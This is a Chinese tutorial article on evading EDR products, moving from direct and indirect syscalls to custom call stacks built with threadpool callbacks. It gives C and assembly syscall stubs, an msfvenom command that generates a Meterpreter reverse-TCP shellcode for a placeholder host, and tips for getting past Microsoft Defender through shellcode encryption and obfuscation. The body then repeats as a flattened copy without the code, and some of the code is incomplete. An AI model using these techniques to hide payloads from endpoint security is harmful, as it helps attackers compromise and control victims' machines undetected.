浅析-从系统调用到自定义堆栈
字数 1750 2025-09-01 11:26:02

从系统调用到自定义堆栈:EDR对抗技术详解

一、概述

本文详细讲解从传统系统调用到自定义堆栈调用的演化过程,涵盖直接系统调用(Direct Syscall)、间接调用(Indirect Syscall)以及自定义堆栈(Custom Call Stack)等技术。这些技术主要用于绕过EDR(终端检测与响应)产品的检测机制。

二、系统调用简史

1. Windows API层次结构

Windows操作系统中的API分为三个层次:

高级API

  • 面向普通应用开发者
  • 功能丰富,易用性强
  • 示例:VirtualAlloc
  • 调用路径:WinAPI → ntdll.dll → 内核syscall
  • 最容易被EDR Hook的位置

中级API

  • ntdll.dll中导出的以Nt或Zw开头的函数
  • 示例:NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx
  • 直接触发内核操作
  • 可以绕过仅在kernel32.dll设置Hook的EDR

低级API

  • 真正执行系统调用的部分
  • 完全不依赖任何DLL
  • 难以被Hook,隐蔽性高
  • 需要手动构造系统调用

三、直接系统调用(Direct Syscall)

核心思想

完全跳过ntdll导出的函数封装,直接执行syscall指令

实现步骤

  1. 提取SSN(系统服务号)
  2. 构造syscall stub
  3. 完成参数压栈与寄存器传值
  4. 直接调用syscall指令

代码实现

ShellCode准备

# 使用msfconsole生成shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f c

syscalls.h

#pragma once
#include <windows.h>

#define STATUS_SUCCESS 0

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef NTSTATUS(NTAPI* _NtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
);

// 其他Nt函数声明...

main.c

#include "syscalls.h"

// 动态获取SSN
DWORD GetSSN(PVOID funcAddress) {
    return *(PDWORD)((PBYTE)funcAddress + 0x4);
}

// 直接系统调用实现
NTSTATUS DirectSyscall_NtAllocateVirtualMemory(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
) {
    // 获取SSN
    DWORD ssn = GetSSN(NtAllocateVirtualMemory);
    
    // 调用汇编实现的syscall stub
    return NtAllocateVirtualMemory_ASM(
        ProcessHandle, 
        BaseAddress, 
        ZeroBits, 
        RegionSize, 
        AllocationType, 
        Protect, 
        ssn
    );
}

syscalls.asm

.code

NtAllocateVirtualMemory_ASM proc
    mov r10, rcx
    mov eax, [rsp+28h]    ; 从栈上获取SSN
    syscall
    ret
NtAllocateVirtualMemory_ASM endp

end

检测风险

  • syscall指令在非ntdll内存区域调用
  • return指令位于非ntdll区域
  • 调用stub、跳转、返回地址集中在同一非系统区域
  • 这些特征都是明显的IOC(入侵指标)

四、间接系统调用(Indirect Syscall)

核心改进

syscall和return指令发生在ntdll的内存中,从ntdll内存指向间接系统调用程序集的内存

实现要点

  • 不仅记录SSN,还需要记录系统调用指令地址
  • 调用路径看起来更合法

代码实现

main.c

// 获取ntdll中syscall指令地址
PVOID GetSyscallAddress() {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    return (PVOID)((PBYTE)GetProcAddress(ntdll, "NtAllocateVirtualMemory") + 0x12);
}

NTSTATUS IndirectSyscall_NtAllocateVirtualMemory(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
) {
    DWORD ssn = GetSSN(NtAllocateVirtualMemory);
    PVOID syscallAddr = GetSyscallAddress();
    
    return NtAllocateVirtualMemory_ASM(
        ProcessHandle, 
        BaseAddress, 
        ZeroBits, 
        RegionSize, 
        AllocationType, 
        Protect, 
        ssn, 
        syscallAddr
    );
}

syscalls.asm

NtAllocateVirtualMemory_ASM proc
    mov r10, rcx
    mov eax, [rsp+28h]    ; SSN
    jmp qword ptr [rsp+30h] ; 跳转到ntdll中的syscall指令
NtAllocateVirtualMemory_ASM endp

堆栈对比

  • 间接系统调用:调用栈包含ntdll模块
  • 直接系统调用:调用栈完全在自定义区域

五、自定义堆栈(Custom Call Stack)

技术背景

现代EDR会分析完整调用链和调用栈,仅靠直接/间接系统调用仍可能被检测

核心原理

利用Windows回调机制(如Threadpool Callback)构建合法调用路径

实现步骤

  1. 使用TpAllocWork注册回调函数
  2. 在回调函数中构造寄存器和堆栈环境
  3. 跳转执行Nt函数

参数传递规范

  • x64调用约定:前4个参数通过RCX,RDX,R8,R9传递
  • 其余参数通过栈传递
  • 需要预留32字节"homing space"

代码实现

main.c

typedef VOID(NTAPI* _TpAllocWork)(PTP_WORK* ptpWrk, PTP_WORK_CALLBACK pfnwkCallback, PVOID OptionalArg, PTP_CALLBACK_ENVIRON CallbackEnvironment);

VOID WorkCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work) {
    // 从Context获取参数并执行系统调用
    SyscallContext* ctx = (SyscallContext*)Context;
    
    // 执行汇编代码
    CustomStack_NtAllocateVirtualMemory(
        ctx->ProcessHandle,
        ctx->BaseAddress,
        ctx->ZeroBits,
        ctx->RegionSize,
        ctx->AllocationType,
        ctx->Protect,
        ctx->Ssn,
        ctx->SyscallAddr
    );
}

void ExecuteWithCustomStack() {
    // 初始化参数
    SyscallContext ctx = { /* 填充参数 */ };
    
    // 获取TpAllocWork地址
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    _TpAllocWork TpAllocWork = (_TpAllocWork)GetProcAddress(ntdll, "TpAllocWork");
    
    // 创建工作项
    PTP_WORK work = NULL;
    TpAllocWork(&work, WorkCallback, &ctx, NULL);
    
    // 提交工作项
    SubmitThreadpoolWork(work);
    WaitForThreadpoolWorkCallbacks(work, FALSE);
    CloseThreadpoolWork(work);
}

syscalls.asm

CustomStack_NtAllocateVirtualMemory proc
    mov r10, rcx
    mov eax, [rsp+28h]    ; SSN
    jmp qword ptr [rsp+30h] ; 跳转到ntdll中的syscall指令
CustomStack_NtAllocateVirtualMemory endp

调用栈分析

  • 合法起点:ntdll.dll → TppWorkCallback → WorkCallback
  • 无RX区域参与或可疑DLL加载
  • 大大降低检测可能性

六、对抗Microsoft Defender的额外措施

  1. Shellcode加密

    • 避免使用简单XOR加密
    • 使用更复杂的加密算法和密钥
  2. 内存权限控制

    • 初始分配使用PAGE_READWRITE
    • 写入后改为PAGE_EXECUTE_READ
    • 避免使用PAGE_EXECUTE_READWRITE
  3. 函数名混淆

    • 加密或动态解析Nt函数名称
    • 避免硬编码敏感字符串
  4. 代码结构混淆

    • 使用SysWhispers2等工具生成代码
    • 使反编译结果与实际结构差异大

七、总结

技术 优点 缺点 检测难度
直接系统调用 完全绕过用户态Hook 调用栈异常明显 较易
间接系统调用 部分调用栈合法 仍可能被完整调用链分析检测 中等
自定义堆栈 完整合法调用链 实现复杂 较难

在实际对抗中,需要根据目标EDR的能力选择适当的技术组合,并结合其他混淆和反检测措施。

从系统调用到自定义堆栈:EDR对抗技术详解 一、概述 本文详细讲解从传统系统调用到自定义堆栈调用的演化过程,涵盖直接系统调用(Direct Syscall)、间接调用(Indirect Syscall)以及自定义堆栈(Custom Call Stack)等技术。这些技术主要用于绕过EDR(终端检测与响应)产品的检测机制。 二、系统调用简史 1. Windows API层次结构 Windows操作系统中的API分为三个层次: 高级API 面向普通应用开发者 功能丰富,易用性强 示例: VirtualAlloc 调用路径:WinAPI → ntdll.dll → 内核syscall 最容易被EDR Hook的位置 中级API ntdll.dll中导出的以Nt或Zw开头的函数 示例: NtAllocateVirtualMemory , NtWriteVirtualMemory , NtCreateThreadEx 直接触发内核操作 可以绕过仅在kernel32.dll设置Hook的EDR 低级API 真正执行系统调用的部分 完全不依赖任何DLL 难以被Hook,隐蔽性高 需要手动构造系统调用 三、直接系统调用(Direct Syscall) 核心思想 完全跳过ntdll导出的函数封装,直接执行syscall指令 实现步骤 提取SSN(系统服务号) 构造syscall stub 完成参数压栈与寄存器传值 直接调用syscall指令 代码实现 ShellCode准备 syscalls.h main.c syscalls.asm 检测风险 syscall指令在非ntdll内存区域调用 return指令位于非ntdll区域 调用stub、跳转、返回地址集中在同一非系统区域 这些特征都是明显的IOC(入侵指标) 四、间接系统调用(Indirect Syscall) 核心改进 syscall和return指令发生在ntdll的内存中,从ntdll内存指向间接系统调用程序集的内存 实现要点 不仅记录SSN,还需要记录系统调用指令地址 调用路径看起来更合法 代码实现 main.c syscalls.asm 堆栈对比 间接系统调用:调用栈包含ntdll模块 直接系统调用:调用栈完全在自定义区域 五、自定义堆栈(Custom Call Stack) 技术背景 现代EDR会分析完整调用链和调用栈,仅靠直接/间接系统调用仍可能被检测 核心原理 利用Windows回调机制(如Threadpool Callback)构建合法调用路径 实现步骤 使用 TpAllocWork 注册回调函数 在回调函数中构造寄存器和堆栈环境 跳转执行Nt函数 参数传递规范 x64调用约定:前4个参数通过RCX,RDX,R8,R9传递 其余参数通过栈传递 需要预留32字节"homing space" 代码实现 main.c syscalls.asm 调用栈分析 合法起点:ntdll.dll → TppWorkCallback → WorkCallback 无RX区域参与或可疑DLL加载 大大降低检测可能性 六、对抗Microsoft Defender的额外措施 Shellcode加密 : 避免使用简单XOR加密 使用更复杂的加密算法和密钥 内存权限控制 : 初始分配使用 PAGE_READWRITE 写入后改为 PAGE_EXECUTE_READ 避免使用 PAGE_EXECUTE_READWRITE 函数名混淆 : 加密或动态解析Nt函数名称 避免硬编码敏感字符串 代码结构混淆 : 使用SysWhispers2等工具生成代码 使反编译结果与实际结构差异大 七、总结 | 技术 | 优点 | 缺点 | 检测难度 | |------|------|------|---------| | 直接系统调用 | 完全绕过用户态Hook | 调用栈异常明显 | 较易 | | 间接系统调用 | 部分调用栈合法 | 仍可能被完整调用链分析检测 | 中等 | | 自定义堆栈 | 完整合法调用链 | 实现复杂 | 较难 | 在实际对抗中,需要根据目标EDR的能力选择适当的技术组合,并结合其他混淆和反检测措施。